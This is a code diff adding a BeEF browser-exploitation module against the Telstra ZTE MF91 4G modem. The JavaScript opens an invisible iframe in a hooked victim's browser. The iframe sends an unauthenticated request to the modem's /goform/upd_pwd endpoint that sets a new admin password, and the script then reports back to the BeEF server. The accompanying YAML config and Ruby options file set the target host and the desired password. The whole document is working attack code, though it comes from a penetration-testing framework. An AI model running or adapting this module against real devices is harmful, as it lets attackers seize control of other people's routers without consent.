Add Telstra ZTE MF91 Change Password module

modules/exploits/router/telstra_zte_mf91_change_pw/command.js

@@ -0,0 +1,23 @@
+//
+// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+  var rhost = '<%= @rhost %>'; 
+  var password = '<%= @password %>';
+  var timeout = 15;
+
+  var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
+  telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/upd_pwd?password='+password);
+
+  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+  cleanup = function() {
+    document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>);
+  }
+  setTimeout("cleanup()", timeout*1000);
+
+});
+

modules/exploits/router/telstra_zte_mf91_change_pw/config.yaml

@@ -0,0 +1,19 @@
+#
+# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+# References:
+# http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem
+# http://www.zte.com.au/downloads/manuals/MF91_Help.pdf
+#
+beef:
+    module:
+        telstra_zte_mf91_change_pw:
+            enable: true
+            category: ["Exploits", "Router"]
+            name: "Telstra ZTE MF91 Change Password"
+            description: "Attempts to change the administrator password on a Telstra ZTE MF91 Pre-paid 4G modem.<br/><br/>The ZTE MF91 reportedly does not require authentication to change the password.<br/><br/>This module has not been tested."
+            authors: ["sw1tch"]
+            target:
+                working: ["ALL"]

modules/exploits/router/telstra_zte_mf91_change_pw/module.rb

@@ -0,0 +1,19 @@
+#
+# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Telstra_zte_mf91_change_pw < BeEF::Core::Command
+  
+	def self.options
+		return [
+			{'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g'}, 
+			{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
+		]
+	end
+
+	def post_execute
+		save({'result' => @datastore['result']})
+	end
+
+end